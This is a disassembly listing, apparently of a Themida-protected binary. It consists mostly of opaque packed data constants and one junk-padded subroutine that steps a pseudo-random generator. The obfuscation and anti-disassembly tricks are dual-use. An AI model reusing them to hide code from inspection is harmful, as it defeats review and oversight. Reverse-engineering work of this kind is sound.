		dd 150B5482h, 9D32535Dh, 0BB3C3D53h, 0BEB13256h, 0ABB13246h
		dd 5489AAE5h, 0AB83389Ah, 67C427CBh, 0CB3065C8h, 2613B055h
		dd 0A1D1344Ch, 5B58F2E1h, 1CB13256h, 3CEA027Bh,	0CFA26A33h
		dd 14A86D97h, 0BABFDB1Eh, 49873256h, 0B5D73ABFh, 728E6378h
		dd 13720B63h, 0DAB975DFh, 0EAB134D0h, 0F5445256h, 33D02881h
		dd 0DFBE3E11h, 0AEB13240h, 57B123BFh, 72458D56h, 4A4A8674h
		dd 0CFDF2DDEh, 0B346D9A8h, 0B55840A5h, 52B13254h, 0AEB133D5h
		dd 8F46CB56h, 0ABBCB959h, 0DD583256h, 6CB13256h, 73F26CE9h
		dd 9171E52Fh, 463E3D90h, 0CEB13256h, 57B123BEh,	8B86C956h
		dd 13FEA099h, 7EEC7C4Dh, 625551CEh, 30EE4719h, 4D58539Ch
		dd 36B13256h, 90A92886h, 5980A549h, 7589B3BAh, 1D3CAC1Eh
		dd 0FBBECB8Eh, 0BAB13243h, 5DB122BFh, 0B77B5D56h, 0DF054BB3h
		dd 0FB33D24Ch, 271482A3h, 0EF71B16Eh, 75B0B659h, 53493256h
		dd 5DB13247h, 9084AA70h, 47A59D9Bh, 0CABE599Ah,	95FF6652h
		dd 483331FEh, 15B7282Dh, 0BAB3B159h, 3CD13256h,	0E6D049E1h
		dd 57A3BB59h, 0A6583256h, 0AFB13256h, 0DE9A18FDh, 0BDC39825h
		dd 4784B365h, 52B975DFh, 0AEB133DBh, 1038CB56h,	15D1525Ah
		dd 0DBF40E41h, 0EAB134BEh, 0D2337356h, 0E17F5A42h, 76585337h
		dd 0CEB13257h, 57B137BFh, 0BDEDF356h, 2D3A5070h, 8A710137h
		dd 260A54AEh, 0FC3B5395h, 5658CB57h, 25B13256h,	4F3B3F83h
		dd 0ED4D7901h, 5519509Dh, 0EA32B759h, 0F6BE3256h, 0BAB1325Ah
		dd 5DB7BD59h, 20BE3256h, 57B13256h, 0FDD1F455h,	0D5B1BE59h
		dd 58E83256h, 0B5325308h, 0BB3D3D54h, 0A8B13256h, 0AEB133EDh
		dd 5F373D56h, 0A4B13256h, 0D5B130DFh, 0E1D05256h, 6C353D8Dh
		dd 46B13256h, 0F30CA8DCh, 2E49344Fh, 0DDD133B5h, 2ABE52A8h
		dd 0D5B13256h, 8BD06C01h, 8CD1F155h, 0BA393D36h, 3CB13256h
		dd 0A6F6BB37h, 5BF6BBAFh, 0AB31DBA3h, 53BE3256h, 0EAB13253h
		dd 8CD05236h, 4F69C537h, 5DB1CD73h, 0AF3B3D56h,	0AFB13256h
		dd 0A4D1F47Dh, 2430EBE9h, 0E5FE5D59h, 1569C537h, 0DB71DCD6h
		dd 0B4B3F2D5h, 0AEB13244h, 3F4216EFh, 0AF9AE8F1h, 200918D0h
		dd 9869C7DEh, 32385348h, 3BBE525Eh, 5DB13240h, 0AEB123BFh
		dd 11A21156h, 0CAD14A86h, 0D9688461h, 0ADE299DFh, 0F4D783F4h
		dd 0DBDB4A8Ch, 0B4BD75DFh, 0AEB1325Ch, 1C9F07DEh, 39124593h
		dd 3C49FFADh, 0EAB13250h, 0F93B0B7Ch, 53D0DB74h, 5DB1325Fh
		dd 847E7A21h, 218E3EF1h, 0F8D1FB7Ch, 16485309h,	0EAB122BFh
		dd 5FE4F356h, 0CA65EE43h, 0AAAA27F5h, 0CB8D4020h, 5A58672Bh
		dd 68B13256h, 0E0882D1Fh, 0A68CD7F3h, 0C7FF2402h, 0AE58DEDDh
		dd 21B13256h, 97C9AD3Dh, 0F479B07Eh, 0A71A767Bh, 0E0F9EF95h
		dd 696723B8h, 7B58CE92h, 47B13256h, 6E158A45h, 0A566086Bh
		dd 0C4924E41h, 29BE52C2h, 0D5B1325Ah, 0EAB7BB59h, 0F6BE3256h
		dd 0BAB13256h, 5DB132BEh, 44306856h, 51AB8198h,	113ACAAAh
		dd 0D3AB4B73h, 220B5236h, 8D838A34h, 0BAA5DA37h, 0A7803256h
		dd 82C495CFh, 0D9ED6B4Eh, 9B6BB8E1h, 6B758238h,	6BD7194Bh
		dd 2FE25BB0h, 46780137h, 52B10DD5h, 0AEB598D2h,	5D303D56h
		dd 42B13256h, 0D5B13253h, 731C7E12h, 7AB6B9A6h,	0BAB12CD6h
		dd 45383D56h, 47B13256h, 57B13245h, 96E08E93h, 0DFCCDAD6h
		dd 4FAC5A8Fh, 8D10724Bh, 45CD5D5Bh, 0D4BE3E23h,	0AEB13257h
		dd 224ECAAFh, 0A358CA5Eh, 4B13256h, 23C592E2h, 2518766Dh
		dd 3BD75236h, 0B5C98A87h, 0AEB1325Ch, 0DDCFF2E4h, 96E1A8FDh
		dd 0B4EEF31Fh, 8B6A8D59h, 75B853BEh, 7C3A5256h,	3C61B930h
		dd 2BBEF25Dh, 57B13270h, 0ABB120BFh, 4E476256h,	0D632B69Ah
		dd 0BBB9F352h, 351AD775h, 0D6ED1388h, 0BC58C751h, 58B13256h
		dd 0ABB133DAh, 1232C756h, 0AF58CB42h, 894ECDA9h, 46F4BBAFh
		dd 5DB135BFh, 0C5259456h, 476FEE41h, 42BD47A9h,	0D5B13245h
		dd 86E74F4Ah, 5D00288Dh, 0A334FE9Ch, 4BB7A4F8h,	0CE54214Eh
		dd 0AB01EDD6h, 0A3C4CD37h, 0D5B6B959h, 66BE3256h, 75B13257h
		dd 0B1303DAEh, 0B4B13256h, 0AEB13250h, 19FF082Ch, 9C4E844Ch
		dd 0D5B6B559h, 66BE3256h, 75B13257h, 0B20DDAAEh, 56483256h
		dd 9A353D96h, 37B13256h, 0ABB139BEh, 6FE13356h,	76F5728Ch
		dd 0B9B92D44h, 0E4428559h, 5DB121BFh, 63B6F156h, 1BE6F1A8h
		dd 773BDB20h, 9A4C5F95h, 0E019AD8Dh, 76E4DB37h,	31493256h
		dd 3DD1CE13h, 0AEB1B359h, 0BED03256h, 0ABB13250h, 0EAB2062Dh
		dd 0D3D022B1h, 41333D51h, 0B5B13255h, 5DB133D9h, 0EB4ECE56h
		dd 9B3152AAh, 0AA313DECh, 20B13256h, 0EECEB137h, 4F353D56h
		dd 0B5B13256h, 5DB13ADAh, 0C84D5256h, 87D1D8D7h, 0A7CEB137h
		dd 0F7353D56h, 3B13256h, 75B1325Eh, 1C8E0E9Ah, 1DCF64A9h
		dd 0AEB1A1BFh, 50585256h, 41B13256h, 5EFE9F44h,	605E52Ah
		dd 8A4E8A37h, 53D1CDA9h, 5DB1325Bh, 0F7DA841Fh,	15A3C32Bh
		dd 459D3165h, 0DA4D52BCh, 8BD0EDE9h, 75B137EFh,	0BAA2DB56h
		dd 41F83256h, 139FDA0h,	0E01970CFh, 48F463A2h, 0BFA7AAA7h
		dd 121AC119h, 7592BA59h, 53D13256h, 5DB1325Eh, 59DE7C4Bh
		dd 65F7E74Ch, 0ABB13DBFh, 39311356h, 8DCB1E79h,	6713DCE2h
		dd 0F9BFBC83h, 0A337DB37h, 0A149CDA9h, 57B13DDFh, 0ABBBDB56h
		dd 0BA583256h, 1D07E8Eh, 75626586h, 0BFA14DD5h,	5DDFB659h
		dd 24BE3256h, 57B13257h, 0BBCEB1AAh, 0A8343D50h, 8AB13256h
		dd 0C778B3AEh, 0DBD2E5D3h, 0E4D75217h, 960EE528h, 36AD1B24h
		dd 0ABB6B259h, 5ABE3256h, 0EAB13257h, 71F6B9AEh, 0B6EEB9AAh
		dd 5DA1DA36h, 2A63256h,	5DD1495Bh, 9CD42C18h, 2EF79E0Ch
		dd 65BED007h, 75B13256h, 7B58530Eh, 52B13257h, 0AEB139D9h
		dd 0D8BE5256h, 0ABB13256h, 0B46BB930h, 1FB575DDh, 8DBD6DDDh
		dd 0BB2EDBAFh, 0E8D13256h, 0AEB8DB73h, 0AE5C3256h, 0AF792FCBh
		dd 0B412BF9Bh, 16B575DDh, 7ABD6DDDh, 0BAB12DD8h, 443D3D56h
		dd 47B13256h, 57B13242h, 0B264BDDEh, 0E3C4708h,	7C9C2713h
		dd 0E5C1796Dh, 0A0A4924Dh, 5260B936h, 0AEB131DEh, 8E3A5456h
		dd 0A3EE0937h, 0D579B759h, 0F9583256h, 25B13256h, 22BDC0C7h
		dd 0C20D593Dh, 174B6315h, 1D527ABDh, 0A4E3F631h, 0D5B134DAh
		dd 0E5485256h, 0FED0EBE9h, 32BE3601h, 5DB1325Ah, 0C40E5436h
		dd 573D3D20h, 0CAB13256h, 3CA1677Dh, 0EAB1325Eh, 0CADA6EF2h
		dd 0EC8B00BBh, 5DB13CBFh, 8F267D56h, 369B8B8Dh,	0B12BA78Fh
		dd 0D6B9128Ch, 61482603h, 0F0BE3E09h, 0BAB1324Eh, 5DB121BFh
		dd 0A7F5A956h, 0E7E3D5F7h, 5D4BDCEh, 21F9F4BCh,	0E380EEB6h
		dd 8D6B19AFh, 0B5B4D9D5h, 5DB137D3h, 24445256h,	58EB5399h
		dd 0ABB126DDh, 0D5BEDB56h, 0E4E93256h, 38C032F3h, 0E059D551h
		dd 19E037B1h, 0CF4D5289h, 57B178BFh, 0A0333D56h, 3CB13256h
		dd 0EAB13250h, 801C0239h, 0FD3A643Dh, 60045252h, 1C78B330h
		dd 83A530Dh, 0AA3A3D5Ah
		dd 29B13256h, 3B56D7Dh,	75B1325Eh, 0AD812B59h, 0A703E55Dh
		dd 57B4D9D5h, 4130B855h, 0A4443442h, 0D5B130DDh, 69D05256h
		dd 7AB22229h, 0BAB172D3h, 5C333D56h, 5BB13256h,	57A3DB36h
		dd 73AC3256h, 0EE1DD7DCh, 0C12EE64Fh, 0BFE3639Dh, 0A7067558h
		dd 1CD06A06h, 0AEB139BFh, 3E6A4356h, 676D1F7Dh,	0F60266C1h
		dd 0EAB6BE59h, 0F1BE3256h, 0BAB13257h, 0A56819AFh, 0AFB06EDFh
		dd 0A809CBAEh, 0A44ECDA9h, 0D5B135DAh, 55BE5256h, 146EB9A4h
		dd 0BAB137EFh, 0D0BE5256h, 0AEB13256h, 0AF1AC137h, 57ABDBAEh
		dd 0B44DCDA9h, 0EAB126BFh, 9CE15456h, 0CCC1F3CAh, 342FFE63h
		dd 1F6EB946h, 0B39AC8ADh, 0A658FBC9h, 67B13256h, 0A03936B3h
		dd 3D8CFB48h, 47A84043h, 52B12294h, 0AEB124D1h,	57A0DB56h
		dd 0D9EF3256h, 6412DE02h, 0B5DA8EA1h, 1D725BD5h, 0EFA76901h
		dd 5DB13EBFh, 372BB856h, 4D1E4151h, 21A8EB8Bh, 0DA5DB93Ah
		dd 0EAB133D8h, 0B132C756h, 0BB3B3DAAh, 0A8B13256h, 0AEB7BF59h
		dd 6D13256h, 0CAEF650Ch, 0DAE35236h, 0E5EEC8E9h, 75B12ADFh
		dd 0BAA3DA56h, 6E043256h, 0FB355CAAh, 1F178C29h, 93FF4E82h
		dd 35ECB031h, 0EA59530Fh, 2FB13256h, 3D5D8D7h, 5B58344Ch
		dd 44B13256h, 9E38F8A9h, 0B2303D30h, 0B5B13256h, 0EAB13DBEh
		dd 0B80D3356h, 0DD2AED83h, 0DB6568D9h, 0C7F6B2Ch, 3668B90Eh
		dd 0D29488DDh, 5DBE344Ch, 0EAB13251h, 75B0B859h, 89443256h
		dd 5DBCDB9Fh, 0CCCD3256h, 276A20F6h, 9FC857D6h,	568D44AFh
		dd 6EBE3269h, 75B13191h, 42B6B9A3h, 0B4BD47A9h,	0AEB1325Fh
		dd 0FEC01651h, 5E237F5Ch, 0DDC4CDACh, 0EAB13BBFh, 0AB223F56h
		dd 0E8D4394Bh, 3DE1FCE0h, 4BFD8C30h, 57B5B959h,	14D73256h
		dd 0B5D0680Ah, 0EAB7BF59h, 0F9BE3256h, 0BAB13256h, 5DB3B359h
		dd 0A2003256h, 5461DA37h, 0A4D13256h, 5CBEC8E1h, 0EAB13252h
		dd 0FBF8830h, 7ABAC737h, 5DFCB759h, 2FD13256h, 0AD5A9EB0h
		dd 780E3D7Fh, 0DA393D37h, 3B13256h, 75B1325Ch, 37C46C4Fh
		dd 70A4778Dh, 0A93A09C0h, 57B0B459h, 42483256h,	0D5B13269h
		dd 0EAA9BF59h, 66583256h, 1DB13256h, 0F70CAB46h, 2B7E9B4Ah
		dd 0EB8CA7ACh, 6FA843Fh, 5644D0F8h, 8CD12691h, 0E90CF9D7h
		dd 0DB4A8559h, 0A24E1CBFh, 0A63B3DA9h, 37B13256h, 12D730E0h
		dd 5CD07A6Fh, 66BECE13h, 75B13251h, 0BAB0B959h,	0A2443256h
		dd 22BE3E23h, 57B13257h, 0A3C4CDA3h, 0B586CDAFh, 0EAB3B259h
		dd 0AB3A3256h, 0B9ADDA37h, 0E7D13256h, 0AD7CF006h, 2751C3D7h
		dd 53D06A82h, 51BEF25Dh, 0EAB1321Dh, 75B121BFh,	0F1F19556h
		dd 405EA91h, 0B770E566h, 13CD18B4h, 0AC65F34Eh,	0D5B3BCBFh
		dd 0E63E3D56h, 9CB13256h, 0BAB13251h, 0E47AE1A6h, 0A188B96Ch
		dd 57B124DCh, 0A6585256h, 0C2B13256h, 0A5F1B9B5h, 0DC6C9852h
		dd 0D7089658h, 0D6D0CEDCh, 17D1CE13h, 4EA7F322h, 0ABB3BE59h
		dd 1A3A3256h, 0E5B60B37h, 75B374D4h, 0BABFDB56h, 0A4AE3256h
		dd 98A931A9h, 6503AD33h, 0BD08DDCFh, 0DA4D77A9h, 0EAB13ED3h
		dd 73353D56h, 0B5B13256h, 5DB132D9h, 0D132CB56h, 0D3BE3252h
		dd 0ABB13264h, 353052AFh, 825A0E21h, 75B13FBFh,	860BC856h
		dd 37E5C23Bh, 0EE56483h, 0D4D02802h, 0A4B13E29h, 0D5B13FD2h
		dd 0EB313D56h, 8CB13256h, 0BAB16ABFh, 0A209C756h, 474ECDA9h
		dd 57B13244h, 0A5574534h, 0A78DE33Dh, 0BDE9EB0Ch, 0D6BC56DDh
		dd 0BF08BFF6h, 0B4B13256h, 0AEB13250h, 2D958804h, 423879h
		dd 0D5ACB759h, 64BE3256h, 75B13241h, 0BAB120BFh, 0B055D356h
		dd 0EDAFB6EFh, 90B93210h, 96CBF59h, 3C2DEA49h, 154ECCFDh
		dd 65CEB1A3h, 2A353D53h, 3DB13256h, 2CDB8830h, 8A38DAD7h
		dd 28D03C55h, 0DAB72229h, 0EAB1BFD3h, 79383D56h, 0B5B13256h
		dd 5DB134DEh, 0AE333D56h, 37B13256h, 35B030EFh,	0B5F0532Eh
		dd 376B930h, 75B1325Ah,	2757664Ah, 411CD302h, 0B9FD94ACh
		dd 57A0DB37h, 4A53256h,	7D6F9623h, 0A6EB95h, 25E6A5D3h
		dd 31C444E6h, 0D7BE3611h, 0AEB13257h, 5BEEB9AAh, 0ABB4B159h
		dd 55D13256h, 3D054B3h,	75B132CCh, 0BABFDB36h, 18163256h
		dd 0AF55B7AFh, 0C2B481E0h, 0C3801F68h, 5ED0E4DDh, 61483611h
		dd 9C483E09h, 0BAB13225h, 32085436h, 0E93A5324h, 443B3D52h
		dd 42B13256h, 0D5B13258h, 6C696B5Ah, 0AE4AB2F0h, 19F87DEDh
		dd 23A3D2Ah, 0F19ACE5Ah, 443D3D52h, 0A4B13256h,	0D5B13FD0h
		dd 0EAB9DB56h, 2BB53256h, 0E317F32Ch, 0B632E934h, 0C8D1CB53h
		dd 32F9F9D7h, 0E643B330h, 0AA3253C9h, 6FBE3146h, 75B13241h
		dd 0BB3E3DAAh, 0A5B13256h, 0A6323D17h, 58B13256h, 0ABB130DFh
		dd 0FED05256h, 0B638CA8Fh, 0CD443357h, 454ECDA9h, 5808CAAAh
		dd 0CEB13256h, 57B123BFh, 60026E56h, 530CAF0Fh,	0C104F7A7h
		dd 0C81693Fh, 0B459171Fh, 5CB13256h, 8F84AF77h,	49A164DFh
		dd 0A7A428E1h, 92A089D3h, 8BEB129Eh, 75B6B959h,	3ABE3256h
		dd 5DB13257h, 521AC1A3h, 0A84C04BFh, 0BB323DA9h, 3CB13256h
		dd 0EAB1325Dh, 0CA9257h, 0A54668CEh, 3C424E91h,	0AEB6B659h
		dd 58D13256h, 0B801C0E9h, 5ABEFB37h, 0EAB1325Ch, 75B137BFh
		dd 0E2A6F556h, 55735523h, 0BA323D56h, 0BEB13256h, 0ABB13259h
		dd 46EEC922h, 0CAFE2E06h, 97FBA621h, 0DAA57E2Bh, 5DB123BEh
		dd 26124756h, 0C8A48D75h, 0E3660334h, 0E46AEBF9h, 0B0487898h
		dd 0DEC0A4EFh, 53E45306h, 5DB13247h, 6FC925B1h,	888662E2h
		dd 9B98F49Bh, 5882251h,	35DB9E3h, 75B13242h, 7C6ED867h
		dd 2482127Dh, 0D3FB23ACh, 662114F2h, 3A02B0C3h,	0DA4DF6D5h
		dd 0EAB133D6h, 1549CA56h, 0BAB0BF59h, 0D6493256h, 0A1D13A13h
		dd 57B128D6h, 0ABA5DA56h, 83723256h, 0C551AFCCh, 5A00D986h
		dd 5FDFC0Dh, 0D1BC5D92h, 16EF8FF9h, 570EAE5Fh, 0A7F40937h
		dd 0D5EDB059h, 0E5583256h, 0CB13256h, 793C5F05h, 748FCBFAh
		dd 3722C48Eh, 128A24F8h, 94363D46h, 0B5B13256h,	0EAB13FBFh
		dd 0F1F12856h, 26F402E1h, 0A3DC180Bh, 45300035h, 335C9557h
		dd 57F4F537h, 0D5B13256h, 0EAB121BFh, 6A965856h, 95092661h
		dd 514F3E8Eh, 0F45E9672h, 2EC8B262h, 0ABB12EBFh, 9076CB56h
		dd 0EAB133AAh, 7B58CB56h, 53B13256h, 5DB1325Fh,	1553229Ch
		dd 0F1E7382h, 29BE538Bh, 0D5B1324Fh, 0EABADA36h, 1F583256h
		dd 0ADF91DFEh, 440F9AC5h, 23BE6C27h, 57B13256h,	57F4B937h
		dd 0D5BCB859h, 0E2583256h, 39B13256h, 0D8025784h, 9497FE2Bh
		dd 0AEB138BFh, 3BC37456h, 0FD876961h, 17162761h, 0F858325Ah
		dd 0C1B13256h, 0D30631BAh, 0FB2C6A39h, 294F9B7Bh, 4D3F1BDAh
		dd 0F9D16720h, 0B4486AAEh, 0EAB139BFh, 11B87356h, 4AFBE08Dh
		dd 838ED69Dh, 0BE58DEDDh, 43B13256h, 0B40490Ah,	0B6C0CC5Dh
		dd 73755319h, 0F6AEED6Fh, 0A958CE92h, 83B13256h, 63B77D84h
		dd 10A167D1h, 91524A4Fh, 78E8896Bh, 13D170D2h, 75B132BEh
		dd 50306856h, 5BAB8DD0h, 0AEBBBC59h, 58D13256h,	0ABB132DDh
		dd 0B44BB956h, 0EAB13BBFh, 0B5CE2556h, 462C7D3h, 94823AC4h
		dd 0AEB13DBFh, 2BFAE556h, 0A2DC8541h, 0E336AA6Eh, 96C268Ch
		dd 0FCBEE965h, 0BAB13251h, 5DB0B159h, 27493256h, 0DC44CE0Bh
		dd 0B1C817ECh, 25305250h, 87B2D5B9h, 758EB137h,	0B8CBB659h
		dd 5B583256h, 0CEB13256h, 2BB33A6h, 548EB1F3h, 0D58FB759h
		dd 62BE3256h, 75B1325Ch, 0AE0E5436h, 6508548Ah,	69325321h
		dd 57B6DB42h, 0EEE63256h
		dd 1394B4FFh, 150EDB67h, 9DD1CDA9h, 0BAB1325Bh,	8253BE9Ch
		dd 8605EB18h, 58F26FA1h, 4830547Fh, 0B4EEF7F7h,	0EAB54DD5h
		dd 758DB659h, 37BE3256h, 5DB1325Ah, 0AEB7BC59h,	0D8BE3256h
		dd 0ABB13256h, 0D5B13FBFh, 9BDF956h, 73EF4AF8h,	0A6012478h
		dd 2232BFF9h, 2ABE325Ah, 57B13258h, 0CAD16536h,	0B475820Ch
		dd 0EAB102BFh, 304ECA56h, 0BAB8DBAAh, 0D1263256h, 0F7666A0Fh
		dd 0D4FCD1D7h, 0A7582691h, 0ECB13256h, 0E7D311ABh, 0F5AE2837h
		dd 0DA2CA12Ch, 0B4D0F8E7h, 514ECD67h, 47CEB1A3h, 31353D53h
		dd 3CB13256h, 0EAB13259h, 0FFE4139Fh, 9DF56B26h, 9A7D1EDFh
		dd 0CE2ACB15h, 560AEBDDh, 0CA924ACDh, 0D3A14DD5h, 0EA26B759h
		dd 34483256h, 0B2585236h, 0E1B13256h, 4CE2CAE1h, 3627A3BAh
		dd 20D0F5DDh, 0DA493611h, 0EAB116DAh, 7E585256h, 5EB13256h
		dd 0CD1C9F6Eh, 0F83583E8h, 5B59AAF3h, 81B13256h, 0CFA120E9h
		dd 0EEA9238Eh, 2A56DB4Bh, 0B6EEB937h, 5DB122BFh, 0C072B556h
		dd 4CA52A57h, 819CD382h, 0C4074D4Bh, 2458CE58h,	7AB13256h
		dd 0BAB13ED2h, 5B3A3D56h, 0A1B13256h, 57B132D6h, 0AFF6B956h
		dd 0D9EEB9AEh, 0EA1DDBAFh, 67583256h, 0BCB13256h, 8D825BC5h
		dd 5D3DC3F9h, 0AA67DD86h, 349A01BCh, 0D1F6B96Eh, 0EAB13DBFh
		dd 13DD656h, 3CC103D3h,	969BF958h, 7F6127E0h, 57B13FBFh
		dd 75943C56h, 3B78B329h, 0ADA5460Bh, 2A3AAB3Bh,	0BAB7DB5Ah
		dd 5E513256h, 8096615Dh, 0BEB56D7Dh, 0ABB13253h, 7F73B771h
		dd 0EF5AB17Dh, 75B9DB36h, 767D3256h, 0DCFD431h,	2DD0C0C7h
		dd 58B22229h, 0ABB107D3h, 0D93E3D56h, 0E5B13256h, 75B134DEh
		dd 0BA393D56h, 1CB13256h, 0B53E3DAFh, 37B13256h, 0ABB126BFh
		dd 417F0156h, 15D06AA5h, 303B0AADh, 69754138h, 0B4330909h
		dd 779A5388h, 56EDBBAEh, 0ABA2DB57h, 0A6963256h, 0BE9DC319h
		dd 91964B60h, 5A2D608Dh, 450DA462h, 514E8A9Fh, 0D2BECDA9h
		dd 0ABB13257h, 0D5B48BAFh, 6AD13256h, 7F5946BBh, 1AB13256h
		dd 120814B9h, 526E12B1h, 872B94Ch, 0A41AC137h, 0D5B133D1h
		dd 9458C756h, 894ECDABh, 0B3323D37h, 3DB13256h,	0B943B3AFh
		dd 36C108B8h, 0A44D77DDh, 0D5B139DEh, 0EAB7DB56h, 3FE63256h
		dd 3E8D3195h, 5DBADB9Fh, 603C3256h, 0DCD4A818h,	1660A884h
		dd 8549F184h, 0EAB7B159h, 13D13256h, 0DB9537E8h, 5DB7DB07h
		dd 2EF33256h, 6D8E1251h, 0AB59CA05h, 8FB13256h,	280DD8D7h
		dd 0F7BE344Ch, 0BAB1325Ch, 5DB137BFh, 7933A356h, 0D5BE80F5h
		dd 0ABB1325Eh, 0D5B3BF59h, 8BD13256h, 7F2BBFAAh, 53B7282Ch
		dd 5DB1325Ch, 4EA434B1h, 0A1575D61h, 0CF0964F7h, 3CB13256h
		dd 0EAB1325Bh, 0C10F2FF5h, 0AF39A781h, 76DEC064h, 0AA20DAEDh
		dd 0DC493256h, 0A7313D5Dh, 0B5B13256h, 176BB330h, 823054EFh
		dd 0DAD08865h, 96063DA3h, 56700937h, 57FEDBAEh,	0A8483256h
		dd 0B549361Dh, 8C7F8D59h, 6824D4D7h, 0B5700937h, 5DB151D4h
		dd 0E5B2C756h, 0B9315246h, 5C0E3D2Fh, 0DA700937h, 0EAB135D4h
		dd 6758C756h, 43B13256h, 5DB16BBFh, 17E15256h, 7ACAA023h
		dd 0F448630Ch, 0D5F9DB37h, 66BE3256h, 75B13257h, 6C2BBFAEh
		dd 0A4B72913h, 474DE1A9h, 57B13264h, 0ABA7B559h, 5CBE3256h
		dd 0EAB13246h, 75B139BFh, 8D72AC56h, 5145768Eh,	0EF86108Ch
		dd 1F4DA8DBh, 5449344Dh, 0D23D3D85h, 0E5B13256h, 75B133D5h
		dd 0DAEACB56h, 0EE9DE6ECh, 0AA0E5426h, 0BEE85372h, 0ABB1325Ah
		dd 8C572AC5h, 9D990674h, 15A3DD5Ah, 32BE520Eh, 5DB13254h
		dd 17D7F1DCh, 94D02B02h, 0ABA0B959h, 0D9583256h, 16B13256h
		dd 0CEFB8D44h, 8F717DEAh, 8251220h, 70063D36h, 0DCD0DCDCh
		dd 0A0303DBAh, 3CB13256h, 0EAB13250h, 8A4D804Fh, 0BA59587Ah
		dd 7B13256h, 6A9DD8D7h,	0D0BE344Ch, 0ABB13243h,	0D5BFDB36h
		dd 50533256h, 1C19E602h, 0EA06EDCh, 0A400FF36h,	563A5237h
		dd 0EFD75237h, 50BE643h, 0B4C77954h, 0E7393D36h, 9CB13256h
		dd 0BAB1325Eh, 6BADBBE1h, 16338AC7h, 2DBB88DBh,	29BE344Ch
		dd 0D5B1325Eh, 0EAB3BF59h, 14D13256h, 0DAB977DDh, 5DB139BFh
		dd 42E3F956h, 407B67B7h, 4606A5B3h, 5266FAD7h, 1FD04AA2h
		dd 0FFD135DFh, 46D15391h, 5DB121BFh, 19852D56h,	4EDAC436h
		dd 35D9932h, 81C52F67h,	0B3001FE8h, 79F4B937h, 0BABBDBAFh
		dd 0EA03256h, 0BD5BEF13h, 82918FA9h, 0CBB575DFh, 0D5B4B059h
		dd 6BD73256h, 1387C990h, 0DB341AEFh, 0B4A177DDh, 0AEB1325Eh
		dd 629D7264h, 0E180AD6Ch, 0B5BD75DFh, 0EAB120BEh, 0ABB7BC56h
		dd 0F87AD44Ch, 6C6FEDA4h, 0F363862Dh, 0AEAB1966h, 1CBE640Eh
		dd 0DAD06DA9h, 0EAB13CDEh, 75B8DB56h, 0C0AE3256h, 0F532A2DEh
		dd 250C4758h, 0EED12613h, 0FDA44BD6h, 0C5F6BB37h, 0EAB139BFh
		dd 9DC28056h, 0F81B51A0h, 7526328Dh, 19BE5237h,	9E063D80h
		dd 20BEFB37h, 0D5B13240h, 0EAA1B959h, 7E583256h, 0D4B13256h
		dd 30C506B8h, 6BD90CEh,	4773F187h, 20D15256h, 0D5B7DB88h
		dd 0D1133256h, 0F976DD31h, 0DAD15337h, 5DB3BB59h, 0F0E23256h
		dd 91D0FDDDh, 0BFAB6BD3h, 5CBE7550h, 0EAB13251h, 13D05236h
		dd 4FD0CCDDh, 4AC2283Eh, 300F52FEh, 5E7331Fh, 0ABB13DBFh
		dd 0BD751856h, 0E0138408h, 0F2BCB2DEh, 57424543h, 0E84E5309h
		dd 0A8A52887h, 57A2BD59h, 27BE3256h, 0D5B1325Bh, 0EAB13ABFh
		dd 0BCCF4356h, 5252348Bh, 8634BF10h, 0CEB725D6h, 0DD7A8D59h
		dd 7B4E53B3h, 584960AEh, 0F0CA8FDCh, 72303D50h,	0B5B13256h
		dd 5DB133D1h, 0FF48CB56h, 57BBDA36h, 0B4703256h, 569BE177h
		dd 459B351Ch, 75B135BEh, 42051B56h, 8E0860F0h, 47D06C09h
		dd 57B13247h, 3F1F1585h, 4103D345h, 1F6DB651h, 602B6CF2h
		dd 4661CDDAh, 983B520Ch, 1333BF37h, 58B7282Dh, 0ABB133D3h
		dd 62BEC756h, 3D13E16h,	75B13246h, 5D5BDBC0h, 0F0DDC203h
		dd 46D0396Fh, 710AB612h, 0CA67B930h, 3C44EADDh,	0EAB13247h
		dd 0F9AF257Bh, 0A5F096C0h, 2E04AFF7h, 51F49783h, 584D60A9h
		dd 0ABB133D7h, 0E4BECB56h, 0EAB134BFh, 0E82DB756h, 0E08459D4h
		dd 0A87231AAh, 8390B0DFh, 0BED13442h, 0ABB13251h, 650803BAh
		dd 8CBF53EFh, 0CDA9C4D7h, 0E8D15337h, 3BEEC0DDh, 0CF2A3DEDh
		dd 563E3D95h, 0FCB13256h

; =============== S U B	R O U T	I N E =======================================



sub_5B52B8	proc near		; CODE XREF: Themida_:005B5409p
					; DATA XREF: Themida_:0054AD4Co
		push	ecx
		clc
		push	edx
		jg	loc_5B52C2
		cmc


loc_5B52C2:				; CODE XREF: sub_5B52B8+3j
		call	$+5
		pop	edx
		sub	edx, 61AC6E8h
		jz	loc_5B52E0
		jns	loc_5B52E0
		jl	$+6


loc_5B52E0:				; CODE XREF: sub_5B52B8+16j
					; sub_5B52B8+1Cj
		jge	loc_5B52F0
		jmp	loc_5B52F0
; ---------------------------------------------------------------------------
		db 0AAh
		dd 0DA2EC2A1h
; ---------------------------------------------------------------------------


loc_5B52F0:				; CODE XREF: sub_5B52B8:loc_5B52E0j
					; sub_5B52B8+2Ej
		push	edx
		stc
		jns	loc_5B52FE
		pusha
		pusha
		popa
		mov	cl, 7Eh
		popa


loc_5B52FE:				; CODE XREF: sub_5B52B8+3Aj
		mov	eax, [edx+6142D21h]
		stc
		jo	loc_5B5316
		jmp	loc_5B5316
; ---------------------------------------------------------------------------
		retn	147Eh
; ---------------------------------------------------------------------------
		db 51h
		db 0E5h, 21h
; ---------------------------------------------------------------------------


loc_5B5316:				; CODE XREF: sub_5B52B8+4Dj
					; sub_5B52B8+53j
		mov	ecx, 41C64E6Dh
		jnb	loc_5B5322
		cmc


loc_5B5322:				; CODE XREF: sub_5B52B8+63j
		mul	ecx
		pusha
		jnb	loc_5B5330
		sbb	ax, 2AB8h


loc_5B5330:				; CODE XREF: sub_5B52B8+6Dj
		mov	di, 603Eh
		popa
		pop	edx
		jmp	loc_5B5348
; ---------------------------------------------------------------------------
		db 92h
		dd 75257F22h, 2B49C7A2h, 500A5ACDh
; ---------------------------------------------------------------------------


loc_5B5348:				; CODE XREF: sub_5B52B8+7Ej
		add	eax, 3039h
		pusha
		mov	bx, 0B58Dh
		mov	ch, bl
		popa
		and	eax, 7FFFFFFFh
		cld
		mov	[edx+6142D21h],	eax
		cmc
		pop	edx
		pusha
		xor	esi, 481E0CCEh
		popa
		pop	ecx
		stc
		retn
sub_5B52B8	endp

; ---------------------------------------------------------------------------
		jno	loc_5B5383
		jmp	loc_5B5383
; ---------------------------------------------------------------------------
		db 8Dh,	1Bh
		db 8Fh
